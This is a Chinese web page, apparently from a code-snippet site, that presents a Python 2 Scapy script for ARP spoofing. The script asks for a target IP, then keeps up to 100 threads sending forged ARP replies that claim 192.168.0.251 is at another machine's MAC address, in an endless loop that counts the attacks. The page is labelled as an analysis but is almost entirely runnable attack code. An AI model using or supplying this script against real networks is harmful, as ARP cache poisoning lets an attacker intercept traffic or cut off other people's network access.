python发送arp欺骗攻击代码分析
python发送arp欺骗攻击代码分析
发布时间:2016-12-28 来源:查字典编辑
摘要:复制代码代码如下:#-*-coding:cp936-*-fromscapy.allimport*fromthreadingimportThr...

复制代码 代码如下:

# -*- coding: cp936 -*-

from scapy.all import *

from threading import Thread,Lock,activeCount

BROADCASTMAC = getmacbyip('192.168.0.120')

class Loop(Thread):

def __init__(self,ip):

Thread.__init__(self)

self.ip = ip

def run(self):

global BROADCASTMAC

arp = ARP()

arp.psrc = '192.168.0.251'

arp.hwsrc = BROADCASTMAC

arp.pdst = self.ip

arp.op = 2

sr1(arp,verbose = 0,retry = 0,timeout = 3)

class Main(Thread):

def __init__(self,ip):

Thread.__init__(self)

self.ip = ip

def run(self):

limit = 100

total = 0

while True:

if activeCount() < limit:

Loop(self.ip).start()

total = total + 1

print '目前已进行了ARP攻击的次数为:'+str(total)

if __name__ == '__main__':

ip = raw_input('请输入要进行ARP攻击的机器IP:')

Main(ip = ip).start()

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新python学习
热门python学习
脚本专栏子分类